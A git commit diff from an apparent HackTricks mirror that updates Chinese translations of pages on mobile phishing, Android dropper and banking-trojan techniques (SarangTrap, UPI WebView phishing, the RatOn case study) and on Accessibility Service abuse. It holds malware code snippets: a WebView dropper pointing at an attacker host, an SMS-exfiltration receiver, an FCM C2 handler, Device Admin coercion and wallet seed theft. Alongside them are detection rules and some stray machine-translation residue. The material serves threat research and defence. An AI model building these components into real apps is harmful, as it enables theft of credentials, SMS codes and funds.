mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/accessibility-
This commit is contained in:
parent
1c4dc912ed
commit
81669226df
@ -768,7 +768,7 @@
|
||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
@ -837,8 +837,9 @@
|
||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
|
@ -1,67 +1,67 @@
|
||||
# 移动钓鱼与恶意应用分发(Android 和 iOS)
|
||||
# 移动钓鱼与恶意应用分发 (Android & iOS)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!INFO]
|
||||
> 本页面涵盖了威胁行为者通过钓鱼(SEO、社交工程、假商店、约会应用等)分发**恶意 Android APK**和**iOS 移动配置文件**的技术。
|
||||
> 材料改编自 Zimperium zLabs(2025)曝光的 SarangTrap 活动和其他公开研究。
|
||||
> 本页涵盖威胁行为者通过钓鱼(SEO、社交工程、假商店、约会应用等)分发**恶意 Android APK**和**iOS mobile-configuration profiles**的技术。
|
||||
> 资料改编自 Zimperium zLabs 暴露的 SarangTrap 活动 (2025) 及其他公开研究。
|
||||
|
||||
## 攻击流程
|
||||
|
||||
1. **SEO/钓鱼基础设施**
|
||||
* 注册数十个相似域名(约会、云分享、汽车服务等)。
|
||||
– 在 `<title>` 元素中使用本地语言关键词和表情符号以在 Google 中排名。
|
||||
– 在同一着陆页上托管*Android*(`.apk`)和*iOS* 安装说明。
|
||||
1. **SEO/Phishing 基础设施**
|
||||
* 注册大量相似域名(约会、云分享、汽车服务……)。
|
||||
– 在 `<title>` 元素中使用本地语言关键词和表情符号以提升 Google 排名。
|
||||
– 在同一落地页上同时托管 Android(`.apk`)和 iOS 安装说明。
|
||||
2. **第一阶段下载**
|
||||
* Android:直接链接到*未签名*或“第三方商店”APK。
|
||||
* iOS:`itms-services://`或普通 HTTPS 链接到恶意**mobileconfig**配置文件(见下文)。
|
||||
3. **安装后的社交工程**
|
||||
* 应用首次运行时要求输入**邀请/验证代码**(独占访问幻觉)。
|
||||
* 代码通过**HTTP POST**发送到指挥与控制(C2)。
|
||||
* C2 回复 `{"success":true}` ➜ 恶意软件继续。
|
||||
* 动态分析沙箱/AV未提交有效代码时未见**恶意行为**(规避)。
|
||||
4. **运行时权限滥用**(Android)
|
||||
* 仅在收到正面 C2 响应后请求危险权限:
|
||||
* Android:指向一个*未签名*或“第三方商店”APK 的直接链接。
|
||||
* iOS:使用 `itms-services://` 或普通 HTTPS 链接指向恶意 **mobileconfig** 配置文件(见下文)。
|
||||
3. **安装后社交工程**
|
||||
* 第一次运行时,应用会要求提供一个**邀请 / 验证码**(制造独家访问幻觉)。
|
||||
* 该代码通过 **POST over HTTP** 发送至 Command-and-Control (C2)。
|
||||
* C2 回复 `{"success":true}` ➜ 恶意程序继续执行。
|
||||
* 在从未提交有效代码的 Sandbox / AV 动态分析环境中不会看到恶意行为(规避)。
|
||||
4. **运行时权限滥用(Android)**
|
||||
* 危险权限仅在 C2 响应为正面后才请求:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<!-- 较旧版本也请求 SMS 权限 -->
|
||||
<!-- Older builds also asked for SMS permissions -->
|
||||
```
|
||||
* 最近的变种**从 `AndroidManifest.xml` 中移除 SMS 的 `<uses-permission>`**,但保留通过反射读取 SMS 的 Java/Kotlin 代码路径 ⇒ 降低静态评分,同时在通过 `AppOps` 滥用或旧目标授予权限的设备上仍然有效。
|
||||
5. **外观 UI 和后台收集**
|
||||
* 应用显示无害视图(SMS 查看器、图库选择器)在本地实现。
|
||||
* 同时,它提取:
|
||||
* 最近的变种**从 `AndroidManifest.xml` 中移除了 SMS 的 `<uses-permission>`**,但保留了通过反射读取 SMS 的 Java/Kotlin 代码路径 ⇒ 在静态检测中得分更低,同时在通过 `AppOps` 滥用或旧目标上仍能工作。
|
||||
5. **伪装界面与后台收集**
|
||||
* 应用显示本地实现的无害视图(SMS 查看器、图库选择器)。
|
||||
* 与此同时它会外泄:
|
||||
- IMEI / IMSI,电话号码
|
||||
- 完整的 `ContactsContract` 转储(JSON 数组)
|
||||
- 从 `/sdcard/DCIM` 压缩的 JPEG/PNG,使用 [Luban](https://github.com/Curzibn/Luban) 减小大小
|
||||
- 可选 SMS 内容(`content://sms`)
|
||||
有效载荷通过 `HTTP POST /upload.php` **批量压缩**并发送。
|
||||
6. **iOS 交付技术**
|
||||
* 单个**移动配置文件**可以请求 `PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration` 等,以将设备注册到“MDM”类监督中。
|
||||
* 社交工程指令:
|
||||
1. 打开设置 ➜ *配置文件已下载*。
|
||||
2. 点击 *安装* 三次(钓鱼页面上的截图)。
|
||||
3. 信任未签名的配置文件 ➜ 攻击者获得*联系人*和*照片*权限,无需 App Store 审核。
|
||||
- 完整的 `ContactsContract` 导出(JSON 数组)
|
||||
- 来自 `/sdcard/DCIM` 的 JPEG/PNG,使用 [Luban](https://github.com/Curzibn/Luban) 压缩以减小体积
|
||||
- 可选的 SMS 内容(`content://sms`)
|
||||
负载以批量压缩(batch-zipped)后通过 `HTTP POST /upload.php` 发送。
|
||||
6. **iOS 投放技术**
|
||||
* 单个 **mobile-configuration profile** 可以请求 `PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration` 等,从而将设备注册到类似 “MDM” 的监督中。
|
||||
* 社交工程安装说明:
|
||||
1. 打开 Settings ➜ *Profile downloaded*。
|
||||
2. 点击 *Install* 三次(钓鱼页上的截图)。
|
||||
3. 信任未签名的配置文件 ➜ 攻击者在无需 App Store 审核的情况下获得 *Contacts* 与 *Photo* 权限。
|
||||
7. **网络层**
|
||||
* 普通 HTTP,通常在端口 80 上,HOST 头如 `api.<phishingdomain>.com`。
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`(无 TLS → 易于发现)。
|
||||
* 明文 HTTP,通常在端口 80,Host 头像 `api.<phishingdomain>.com`。
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`(无 TLS → 容易被发现)。
|
||||
|
||||
## 防御测试 / 红队提示
|
||||
|
||||
* **动态分析规避** – 在恶意软件评估期间,使用 Frida/Objection 自动化邀请代码阶段以达到恶意分支。
|
||||
* **清单与运行时差异** – 比较 `aapt dump permissions` 与运行时 `PackageManager#getRequestedPermissions()`;缺少危险权限是一个红旗。
|
||||
* **网络金丝雀** – 配置 `iptables -p tcp --dport 80 -j NFQUEUE` 以检测代码输入后不稳定的 POST 峰值。
|
||||
* **mobileconfig 检查** – 在 macOS 上使用 `security cms -D -i profile.mobileconfig` 列出 `PayloadContent` 并发现过多的权限。
|
||||
* **动态分析绕过** – 在恶意软件评估时,使用 Frida/Objection 自动化邀请代码阶段以进入恶意分支。
|
||||
* **清单与运行时差异** – 比较 `aapt dump permissions` 与运行时的 `PackageManager#getRequestedPermissions()`;缺失的危险权限是红旗。
|
||||
* **网络诱饵** – 配置 `iptables -p tcp --dport 80 -j NFQUEUE` 来检测代码输入后异常的 POST 突发流量。
|
||||
* **mobileconfig 检查** – 在 macOS 使用 `security cms -D -i profile.mobileconfig` 列出 `PayloadContent` 并发现过多的权限声明。
|
||||
|
||||
## 蓝队检测思路
|
||||
|
||||
* **证书透明度 / DNS 分析** 以捕捉突发的关键词丰富域名。
|
||||
* **User-Agent 和路径正则表达式**: `(?i)POST\s+/(check|upload)\.php` 来自 Google Play 之外的 Dalvik 客户端。
|
||||
* **邀请代码遥测** – 在 APK 安装后不久的 6–8 位数字代码的 POST 可能表明正在准备。
|
||||
* **MobileConfig 签名** – 通过 MDM 策略阻止未签名的配置文件。
|
||||
* **Certificate Transparency / DNS Analytics** 用于捕捉关键词丰富域名的突然激增。
|
||||
* **User-Agent 与路径正则**:检测来自非 Google Play 的 Dalvik 客户端的 `(?i)POST\s+/(check|upload)\.php`。
|
||||
* **邀请码遥测** – 在 APK 安装后不久 POST 6–8 位数字验证码可能表明处于预备阶段。
|
||||
* **MobileConfig 签名校验** – 通过 MDM 策略阻止未签名的配置文件。
|
||||
|
||||
## 有用的 Frida 代码片段:自动绕过邀请代码
|
||||
## Useful Frida Snippet: Auto-Bypass Invitation Code
|
||||
```python
|
||||
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
||||
# Hook HttpURLConnection write to always return success
|
||||
@ -80,7 +80,7 @@ return conn;
|
||||
};
|
||||
});
|
||||
```
|
||||
## 指标 (通用)
|
||||
## 指标(通用)
|
||||
```
|
||||
/req/checkCode.php # invite code validation
|
||||
/upload.php # batched ZIP exfiltration
|
||||
@ -88,28 +88,28 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
||||
```
|
||||
---
|
||||
|
||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
||||
## Android WebView 支付钓鱼 (UPI) – Dropper + FCM C2 Pattern
|
||||
|
||||
此模式已在利用政府福利主题的活动中观察到,目的是窃取印度UPI凭证和一次性密码(OTPs)。操作者链式使用信誉良好的平台以实现交付和韧性。
|
||||
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
|
||||
|
||||
### 通过受信平台的交付链
|
||||
- YouTube视频诱饵 → 描述中包含一个短链接
|
||||
- 短链接 → GitHub Pages钓鱼网站模仿合法门户
|
||||
- 同一GitHub仓库托管一个带有假“Google Play”徽章的APK,直接链接到文件
|
||||
- 动态钓鱼页面托管在Replit上;远程命令通道使用Firebase Cloud Messaging (FCM)
|
||||
### 跨可信平台的投放链
|
||||
- YouTube 视频诱饵 → 描述包含短链接
|
||||
- 短链接 → GitHub Pages 钓鱼站点,模仿真实门户
|
||||
- 同一 GitHub 仓库托管了一个 APK,并带有伪造的“Google Play”徽章,直接链接到该文件
|
||||
- 动态钓鱼页面托管在 Replit;远程命令通道使用 Firebase Cloud Messaging (FCM)
|
||||
|
||||
### 带有嵌入有效载荷和离线安装的投放器
|
||||
- 第一个APK是一个安装程序(投放器),它在`assets/app.apk`中传送真实恶意软件,并提示用户禁用Wi‑Fi/移动数据以减轻云检测。
|
||||
- 嵌入的有效载荷以无害标签(例如,“安全更新”)安装。安装后,安装程序和有效载荷作为独立应用程序存在。
|
||||
### Dropper 带嵌入载荷和离线安装
|
||||
- 第一个 APK 是一个安装程序 (dropper),它将真实恶件打包在 `assets/app.apk`,并提示用户禁用 Wi‑Fi/mobile data 以削弱云端检测。
|
||||
- 嵌入的载荷以无害标签安装(例如,“Secure Update”)。安装后,安装程序和载荷会作为独立的应用同时存在。
|
||||
|
||||
静态分类提示(grep嵌入有效载荷):
|
||||
静态分类提示(grep 用于查找嵌入的载荷):
|
||||
```bash
|
||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||
# Or:
|
||||
zipgrep -i "classes|.apk" sample.apk | head
|
||||
```
|
||||
### 动态端点发现通过短链接
|
||||
- 恶意软件从短链接获取一个纯文本的、以逗号分隔的活动端点列表;简单的字符串转换生成最终的钓鱼页面路径。
|
||||
### 通过短链接进行动态端点发现
|
||||
- Malware 从短链接获取纯文本、逗号分隔的活动端点列表;简单的字符串变换生成最终的 phishing 页面路径。
|
||||
|
||||
示例(已清理):
|
||||
```
|
||||
@ -127,8 +127,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
|
||||
String smsPost = parts[1];
|
||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||
```
|
||||
### 基于WebView的UPI凭证收集
|
||||
- “支付₹1 / UPI‑Lite”步骤从动态端点加载攻击者的HTML表单到WebView中,并捕获敏感字段(电话、银行、UPI PIN),这些字段会被`POST`到`addup.php`。
|
||||
### 基于 WebView 的 UPI 凭证窃取
|
||||
- 步骤 “Make payment of ₹1 / UPI‑Lite” 在 WebView 内从动态端点加载攻击者的 HTML 表单,并捕获敏感字段(手机号、银行、UPI PIN),这些字段通过 `POST` 提交到 `addup.php`。
|
||||
|
||||
最小加载器:
|
||||
```java
|
||||
@ -136,16 +136,16 @@ WebView wv = findViewById(R.id.web);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||
```
|
||||
### 自我传播和短信/一次性密码拦截
|
||||
- 在首次运行时请求激进的权限:
|
||||
### Self-propagation and SMS/OTP interception
|
||||
- 在首次运行时会请求大量权限:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||
```
|
||||
- 联系人被循环用于从受害者的设备上批量发送钓鱼短信。
|
||||
- 通过广播接收器拦截传入的短信,并将其与元数据(发送者、内容、SIM卡插槽、每个设备的随机ID)一起上传到`/addsm.php`。
|
||||
- 联系人被循环用于从受害者设备批量发送 smishing 短信。
|
||||
- 收到的短信会被广播接收器拦截,并连同元数据(发送者、消息内容、SIM 卡槽、每台设备的随机 ID)上传到 `/addsm.php`。
|
||||
|
||||
接收器草图:
|
||||
```java
|
||||
@ -162,9 +162,9 @@ postForm(urlAddSms, new FormBody.Builder()
|
||||
}
|
||||
```
|
||||
### Firebase Cloud Messaging (FCM) 作为弹性 C2
|
||||
- 负载注册到 FCM;推送消息携带一个 `_type` 字段,用作触发动作的开关(例如,更新钓鱼文本模板,切换行为)。
|
||||
- payload 会向 FCM 注册;推送消息携带 `_type` 字段,用作触发操作的开关(例如,更新 phishing text templates、切换行为)。
|
||||
|
||||
示例 FCM 负载:
|
||||
示例 FCM payload:
|
||||
```json
|
||||
{
|
||||
"to": "<device_fcm_token>",
|
||||
@ -174,7 +174,7 @@ postForm(urlAddSms, new FormBody.Builder()
|
||||
}
|
||||
}
|
||||
```
|
||||
处理程序草图:
|
||||
Handler 草图:
|
||||
```java
|
||||
@Override
|
||||
public void onMessageReceived(RemoteMessage msg){
|
||||
@ -187,26 +187,179 @@ case "smish": sendSmishToContacts(); break;
|
||||
}
|
||||
```
|
||||
### Hunting patterns and IOCs
|
||||
- APK包含次要有效载荷在`assets/app.apk`
|
||||
- WebView从`gate.htm`加载支付并外泄到`/addup.php`
|
||||
- 短信外泄到`/addsm.php`
|
||||
- 短链接驱动的配置获取(例如,`rebrand.ly/*`)返回CSV端点
|
||||
- 应用标记为通用“更新/安全更新”
|
||||
- FCM `data`消息在不受信任的应用中带有`_type`区分符
|
||||
- APK 包含位于 `assets/app.apk` 的二次负载
|
||||
- WebView 从 `gate.htm` 加载支付并将数据外传到 `/addup.php`
|
||||
- SMS 外传到 `/addsm.php`
|
||||
- 由 shortlink 驱动的配置获取(例如 `rebrand.ly/*`),返回 CSV endpoints
|
||||
- 应用被标记为通用 “Update/Secure Update”
|
||||
- 在不受信任的应用中,FCM `data` 消息包含 `_type` 判别字段
|
||||
|
||||
### Detection & defence ideas
|
||||
- 标记指示用户在安装期间禁用网络的应用,然后从`assets/`侧载第二个APK。
|
||||
- 对权限元组发出警报:`READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + 基于WebView的支付流程。
|
||||
- 对非企业主机的`POST /addup.php|/addsm.php`进行出口监控;阻止已知基础设施。
|
||||
- 移动EDR规则:不受信任的应用注册FCM并在`_type`字段上分支。
|
||||
- 标记那些指示用户在安装期间禁用网络然后从 `assets/` 侧载第二个 APK 的应用。
|
||||
- 对权限元组触发告警:`READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + 基于 WebView 的支付流程。
|
||||
- 对非企业主机上的 `POST /addup.php|/addsm.php` 进行出口流量监控;阻断已知基础设施。
|
||||
- Mobile EDR 规则:不受信任的应用注册 FCM 并在 `_type` 字段上分支的行为。
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn case study
|
||||
|
||||
The RatOn banker/RAT campaign (ThreatFabric) 是一个具体例子,展示了现代 mobile phishing 操作如何混合 WebView droppers、基于 Accessibility 的 UI 自动化、overlays/ransom、Device Admin 强制、Automated Transfer System (ATS) 自动化、crypto wallet 接管,甚至 NFC-relay 编排。本节抽象出可复用的技术。
|
||||
|
||||
### Stage-1: WebView → native install bridge (dropper)
|
||||
攻击者展示一个指向攻击者页面的 WebView,并注入一个暴露原生安装器的 JavaScript 接口。用户点击 HTML 按钮会调用原生代码,安装打包在 dropper assets 中的二阶段 APK,然后直接启动它。
|
||||
|
||||
Minimal pattern:
|
||||
```java
|
||||
public class DropperActivity extends Activity {
|
||||
@Override protected void onCreate(Bundle b){
|
||||
super.onCreate(b);
|
||||
WebView wv = new WebView(this);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.addJavascriptInterface(new Object(){
|
||||
@android.webkit.JavascriptInterface
|
||||
public void installApk(){
|
||||
try {
|
||||
PackageInstaller pi = getPackageManager().getPackageInstaller();
|
||||
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
|
||||
int id = pi.createSession(p);
|
||||
try (PackageInstaller.Session s = pi.openSession(id);
|
||||
InputStream in = getAssets().open("payload.apk");
|
||||
OutputStream out = s.openWrite("base.apk", 0, -1)){
|
||||
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
|
||||
}
|
||||
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
|
||||
pi.commit(id, status.getIntentSender());
|
||||
} catch (Exception e) { /* log */ }
|
||||
}
|
||||
}, "bridge");
|
||||
setContentView(wv);
|
||||
wv.loadUrl("https://attacker.site/install.html");
|
||||
}
|
||||
}
|
||||
```
|
||||
请提供要翻译的 HTML 或文件内容(粘贴在此),我会将其中的英文按要求翻译为中文。
|
||||
```html
|
||||
<button onclick="bridge.installApk()">Install</button>
|
||||
```
|
||||
安装后,dropper 通过显式的 package/activity 启动 payload:
|
||||
```java
|
||||
Intent i = new Intent();
|
||||
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
||||
startActivity(i);
|
||||
```
|
||||
检测思路:不受信任的应用调用 `addJavascriptInterface()` 并向 WebView 暴露类似安装器的接口;APK 在 `assets/` 下携带嵌入的二级负载并调用 Package Installer Session API。
|
||||
|
||||
### 同意流程:Accessibility + Device Admin + 后续运行时提示
|
||||
Stage-2 打开一个 WebView,承载一个“Access”页面。其按钮调用一个导出的方法,将受害者导向 Accessibility 设置并请求启用该恶意服务。一旦启用,malware 利用 Accessibility 在后续运行时权限对话框(contacts、overlay、manage system settings 等)中自动点击并继续请求 Device Admin。
|
||||
|
||||
- Accessibility 通过在节点树中查找类似 “Allow”/“OK” 的按钮并派发点击,编程式地帮助接受后续提示。
|
||||
- Overlay 权限 检查/请求:
|
||||
```java
|
||||
if (!Settings.canDrawOverlays(ctx)) {
|
||||
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
|
||||
Uri.parse("package:" + ctx.getPackageName()));
|
||||
ctx.startActivity(i);
|
||||
}
|
||||
```
|
||||
另见:
|
||||
|
||||
{{#ref}}
|
||||
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Overlay phishing/ransom via WebView
|
||||
操作员可以下发命令来:
|
||||
- 从一个 URL 渲染全屏覆盖层,或
|
||||
- 传递内联 HTML 并将其加载到 WebView 覆盖层中。
|
||||
|
||||
可能用途:胁迫(PIN 输入)、打开钱包以捕获 PINs、ransom messaging。若缺少 overlay permission,请保留一个命令以确保持有该权限。
|
||||
|
||||
### Remote control model – text pseudo-screen + screen-cast
|
||||
- Low-bandwidth:定期导出 Accessibility 节点树,序列化可见文本/角色/边界并作为伪屏幕发送到 C2(命令示例:`txt_screen` 一次性,`screen_live` 持续)。
|
||||
- High-fidelity:请求 MediaProjection 并按需开始 screen-casting/录制(命令示例:`display` / `record`)。
|
||||
|
||||
### ATS playbook (bank app automation)
|
||||
给定一个 JSON 任务,打开银行应用,通过 Accessibility 驱动 UI,混合使用文本查询和坐标点击,并在提示时输入受害者的支付 PIN。
|
||||
|
||||
示例任务:
|
||||
```json
|
||||
{
|
||||
"cmd": "transfer",
|
||||
"receiver_address": "ACME s.r.o.",
|
||||
"account": "123456789/0100",
|
||||
"amount": "24500.00",
|
||||
"name": "ACME"
|
||||
}
|
||||
```
|
||||
Example texts seen in one target flow (CZ → EN):
|
||||
- "Nová platba" → "新付款"
|
||||
- "Zadat platbu" → "输入付款"
|
||||
- "Nový příjemce" → "新收款人"
|
||||
- "Domácí číslo účtu" → "国内账户号码"
|
||||
- "Další" → "下一步"
|
||||
- "Odeslat" → "发送"
|
||||
- "Ano, pokračovat" → "是,继续"
|
||||
- "Zaplatit" → "支付"
|
||||
- "Hotovo" → "完成"
|
||||
|
||||
Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
|
||||
操作员还可以通过类似 `check_limit` 和 `limit` 的命令检查/提高转账限额,这些命令以类似方式导航限额 UI。
|
||||
|
||||
### Crypto wallet seed extraction
|
||||
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
|
||||
目标包括 MetaMask、Trust Wallet、Blockchain.com、Phantom。流程:解锁(被窃取的 PIN 或提供的密码),导航到 Security/Recovery,显示助记词,keylog/exfiltrate 助记词。实现支持不同语言的选择器(EN/RU/CZ/SK),以在多语言间稳定导航。
|
||||
|
||||
### Device Admin coercion
|
||||
Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
|
||||
Device Admin APIs 被用来增加捕获 PIN 的机会并使受害者感到沮丧:
|
||||
- Immediate lock:
|
||||
- 立即锁定:
|
||||
```java
|
||||
dpm.lockNow();
|
||||
```
|
||||
- 使当前凭证过期以强制更改(辅助功能会捕获新的 PIN/密码):
|
||||
```java
|
||||
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
||||
```
|
||||
- 通过禁用 keyguard 的生物识别功能强制使用非生物识别解锁:
|
||||
```java
|
||||
dpm.setKeyguardDisabledFeatures(admin,
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
||||
```
|
||||
注意:许多 DevicePolicyManager 控制在近期的 Android 上需要 Device Owner/Profile Owner;某些 OEM 构建可能比较宽松。始终在目标 OS/OEM 上进行验证。
|
||||
|
||||
### NFC relay orchestration (NFSkate)
|
||||
Stage-3 可以安装并启动外部 NFC-relay 模块(例如 NFSkate),甚至向其传递一个 HTML 模板以在中继过程中引导受害者。这使得无接触的 card-present 现金提取与在线 ATS 并行成为可能。
|
||||
|
||||
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
||||
|
||||
### Operator command set (sample)
|
||||
- UI/状态: `txt_screen`, `screen_live`, `display`, `record`
|
||||
- 社交: `send_push`, `Facebook`, `WhatsApp`
|
||||
- 覆盖层: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
|
||||
- 钱包: `metamask`, `trust`, `blockchain`, `phantom`
|
||||
- ATS: `transfer`, `check_limit`, `limit`
|
||||
- 设备: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
|
||||
- 通信/侦察: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
||||
- NFC: `nfs`, `nfs_inject`
|
||||
|
||||
### Detection & defence ideas (RatOn-style)
|
||||
- 搜索在 WebViews 中使用 `addJavascriptInterface()` 并暴露 installer/permission 方法的情况;以及那些以 “/access” 结尾并触发 Accessibility 提示的页面。
|
||||
- 对被授予服务访问不久后生成高频率 Accessibility 手势/点击的应用发出告警;对发送到 C2 的类似 Accessibility 节点转储的遥测数据发出告警。
|
||||
- 监控不受信任应用中的 Device Admin 策略更改:`lockNow`、密码过期、keyguard 功能切换等。
|
||||
- 对来自非企业应用的 MediaProjection 提示,随后伴随周期性帧上传的行为发出告警。
|
||||
- 检测被某个应用触发而安装/启动外部 NFC-relay 应用的情况。
|
||||
- 对银行业务:强制执行带外确认、绑定生物识别、以及对抗设备上自动化的交易限额机制。
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
||||
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,20 +1,20 @@
|
||||
# Android Accessibility Service Abuse
|
||||
# Android 无障碍服务滥用
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 概述
|
||||
|
||||
`AccessibilityService` 的创建是为了帮助残疾用户与 Android 设备进行交互。不幸的是,同样的 **强大自动化 API**(全局导航、文本输入、手势分发、覆盖窗口……)可以被恶意软件武器化,以在 _无需 root 权限_ 的情况下获得 **完全远程控制** 手机的能力。
|
||||
`AccessibilityService` 的初衷是帮助有障碍的用户与 Android 设备交互。不幸的是,同样的 **powerful automation APIs**(全局导航、文本输入、手势分发、覆盖窗口…)可以被恶意软件武器化,从而在 _无需 root 权限_ 的情况下获得对手机的 **完全远程控制**。
|
||||
|
||||
现代 Android 银行木马和远程访问木马(RAT)如 **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** 等等遵循相同的步骤:
|
||||
现代 Android 银行木马和 Remote-Access-Trojans (RATs),例如 **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** 等,通常遵循相同的套路:
|
||||
|
||||
1. 通过社交工程让受害者启用一个恶意的辅助功能服务(*BIND_ACCESSIBILITY_SERVICE* 权限被视为“高风险”,并需要用户的明确操作)。
|
||||
1. 社会工程诱导受害者启用一个恶意的无障碍服务(*BIND_ACCESSIBILITY_SERVICE* permission 被视为“高风险”,需要明确的用户操作)。
|
||||
2. 利用该服务来
|
||||
* 捕获屏幕上出现的每个 UI 事件和文本,
|
||||
* 注入合成手势(`dispatchGesture`)和全局操作(`performGlobalAction`)以自动化操作员所需的任何任务,
|
||||
* 在合法应用程序上方绘制全屏覆盖,使用 **TYPE_ACCESSIBILITY_OVERLAY** 窗口类型(没有 `SYSTEM_ALERT_WINDOW` 提示!),
|
||||
* 代表受害者点击系统对话框,静默授予额外的运行时权限。
|
||||
3. 在用户查看完全正常的屏幕时,实时提取数据或执行 **On-Device-Fraud (ODF)**。
|
||||
* 捕获屏幕上出现的每一个 UI 事件和文本,
|
||||
* 注入合成手势(`dispatchGesture`)和全局操作(`performGlobalAction`)以自动化操作者想要的任何任务,
|
||||
* 使用 **TYPE_ACCESSIBILITY_OVERLAY** 窗口类型在合法应用之上绘制全屏覆盖(无需 `SYSTEM_ALERT_WINDOW` 提示!),
|
||||
* 代表受害者点击系统对话框,从而静默授予额外的运行时权限。
